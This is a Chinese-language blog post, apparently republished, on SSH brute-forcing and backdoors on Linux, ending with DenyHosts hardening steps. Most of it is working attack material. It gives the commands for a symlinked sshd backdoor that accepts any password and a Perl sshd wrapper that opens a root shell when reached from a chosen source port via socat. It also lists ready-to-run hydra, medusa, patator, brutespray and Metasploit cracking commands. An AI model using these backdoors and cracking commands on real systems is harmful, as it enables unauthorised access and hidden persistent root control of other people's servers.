关于linux中SSH爆破总结
2.思路
(1)对root账号进行暴力破解
(2)使用中国姓名top1000作为用户名进行暴力破解
(3)使用top 10000 password字典进行密码破解
(4)利用掌握信息进行社工信息整理并生成字典暴力破解
(5)信息的综合利用以及循环利用
ssh后门
1. 软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;
经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。
但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。
2.SSH Server wrapper后门
(1)复制sshd到bin目录
cd /usr/sbin
mv sshd ../bin
(2)编辑sshd
vi sshd //加入以下内容并保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
(4)修改权限
chmod 755 sshd
(5)使用socat
socat STDIOTCP4:target_ip:22,sourceport=19526
如果没有安装socat需要进行安装并编译
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install
(6)使用ssh root@ target_ip即可免密码登录
3.ssh公钥免密
将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
ssh暴力破解命令总结及分析
1.所有工具的比较
通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:
(1)每款软件都能成功对ssh账号以及密码进行破解。
(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。
(3)hydra和medusa是基于C语言编写的,需要进行编译。
(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。
(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。
(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。
(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。
2.命令总结
(1)hydra破解ssh密码
hydra -lroot -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh
hydra -lroot -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh
(2)medusa破解ssh密码
medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt
medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F
(3)patator破解ssh密码
./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
如果不是本地安装,则使用patator执行即可。
(4)brutespray暴力破解ssh密码
nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml
pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5
(5)msf暴力破解ssh密码
use auxiliary/scanner/ssh/ssh_login
set rhosts192.168.17.147
setPASS_FILE /root/pass.txt
setUSER_FILE /root/user.txt
run
九、 SSH暴力破解安全防范
1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232
2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow
3.使用DenyHosts软件来设置,其下载地址:
https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download
(1)安装cdDenyHosts
# tar-zxvf DenyHosts-2.6.tar.gz
# cdDenyHosts-2.6
# pythonsetup.py install
默认是安装到/usr/share/denyhosts目录的。
(2)配置cdDenyHosts
# cd/usr/share/denyhosts/
# cpdenyhosts.cfg-dist denyhosts.cfg
# videnyhosts.cfg
PURGE_DENY= 50m #过多久后清除已阻止IP
HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny
BLOCK_SERVICE= sshd #阻止服务名
DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数
DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数
DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数
WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中
DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹
LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。
HOSTNAME_LOOKUP=NO#是否做域名反解
ADMIN_EMAIL= #设置管理员邮件地址
DAEMON_LOG= /var/log/denyhosts #自己的日志文件
DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。
(3)设置启动脚本
# cpdaemon-control-dist daemon-control
# chownroot daemon-control
# chmod700 daemon-control
完了之后执行daemon-contronstart就可以了。
#./daemon-control start
如果要使DenyHosts每次重起后自动启动还需做如下设置:
# ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts
#chkconfig --add denyhosts
#chkconfig denyhosts on
#service denyhosts start
可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。
以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。
关于linux中SSH爆破总结的更多相关文章
- linux中ssh登录Permanently added (RSA) to the list of known hosts问题解决
文章出自http://www.2cto.com/os/201307/227199.html linux中ssh登录Permanently added (RSA) to the list of know ...
- (转)详解Linux中SSH远程访问控制
详解Linux中SSH远程访问控制 原文:http://blog.51cto.com/dengqi/1260038 SSH:是一种安全通道协议,主要用来实现字符界面的远程登录,远程复制等功能(使用TC ...
- Linux中SSH服务基于key认证实践
众所周知ssh是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,它默认工作在tcp的22号端口,具体实现的软件有:openssh(centos默认安装的),dropbear.ssh协议目前 ...
- linux中ssh可以登录sftp不能登录解决办法
我的服务器一直正常使用,平时使用secureCRT进行管理,使用secureFX进行文件的上传下载,突然有一天secureFX连接的时候出问题了,secureFX的日志如下: i SecureFX 版 ...
- Linux中ssh的免密码登陆
原理: Hadoop的各个节点要实时的进行各种通信的,ssh就是能让各个节点免密码的相互访问相互通信. 操作步骤: 这里用的加密方式是非对称的加密方式,具体的操作是: <1>执行命令ssh ...
- Linux中ssh介绍与ssh+key密钥登陆部署
环境内核信息: [root@zabbix- ~]# uname -a Linux zabbix- -.el6.x86_64 # SMP Tue Mar :: UTC x86_64 x86_64 x86 ...
- Linux中ssh登陆慢的两种原因
useDNS配置导致登陆慢 如果ssh server的配置文件(通常是 /etc/ssh/sshd_config )中设置 useDNS yes ,可能会导致 ssh 登陆卡住几十秒.将该配置项设为 ...
- 解决linux中ssh登录Warning:Permanently added (RSA) to the list of known hosts
原因: 在执行scp id_rsa.pub root@hostname:/root/.ssh这一步时,没在本机的/root/.ssh下生成known_hosts文件. 解决方案: vi /etc/ss ...
- Linux中ssh及scp的连接
1. 当你想获取另外一台电脑上的数据时,可以使用这个命令 scp -P 10022 root@172.30.83.173:~/ubuntu1.tar ./ -r 代表传输文件夹,直接传文件可以不加 ...
随机推荐
- [No0000153]详解C# 迭代器【转】
迭代器模式是设计模式中行为模式(behavioral pattern)的一个例子,他是一种简化对象间通讯的模式,也是一种非常容易理解和使用的模式.简单来说,迭代器模式使得你能够获取到序列中的所有元素而 ...
- zookerper安装部署
********************单节点安装zk*************************上传zk安装包到服务器/mnt目录下: [root@chavin ~]$ ll /mnt/zoo ...
- Python:time模块、calendar模块
time模块 import time 获取时间戳 >>>time.time() #1532418950.7246091 获取时间元组 >>> time.localt ...
- 解决eclipse在线安装不了genymotion
解决eclipse在线安装不了genymotion 2015-8-2阅读161 评论0 今天在网上看见网友说genymotion安卓模拟器是多麽的流畅,比起google自带的那些emulator快十倍 ...
- Instruments学习之Core Animation学习
当App发展到一定的规模,性能优化就成为必不可少的一点.但是很多人,又对性能优化很陌生,毕竟平常大多时间都在写业务逻辑,很少关注这个.最近在优化自己的项目,也收集了很多资料,这里先浅谈一下使用Inst ...
- 转:JDK动态代理为什么必须用接口以及与CGLIB的对比
参考链接: JDK动态代理为什么必须用接口以及与CGLIB的对比 文章中提到:试验了JDK动态代理与CGLIB动态代理.从Spring的AOP框架介绍中得知对于使用接口的类,Spring使用JDK动态 ...
- Badboy测试工具官网下载以及安装导出Jmeter脚本
首先打开浏览器,在百度上搜索“Badboy ”,默认搜索到的第一个就是官网地址: 1 也可以在其他软件下载网址上进行下载 2 点击进入后,官网左侧菜单中有“download”字样,或者官网右侧顶部也有 ...
- GIt如何进行代码管理
一:Git账号设置(仅第一次需设置): 1.首先打开GIt Bash 界面
- Postfix 邮件服务器搭建
搭建服务环境: Centos 6 配置域名hosts: mail.demonC6.com 1.清理系统自带的邮件软件 # rpm -qa | grep sendmail* # rpm -e sendm ...
- oc初步画图
- (void)drawRect:(CGRect)rect { CGContextRef context = UIGraphicsGetCurrentContext(); CGContextMoveT ...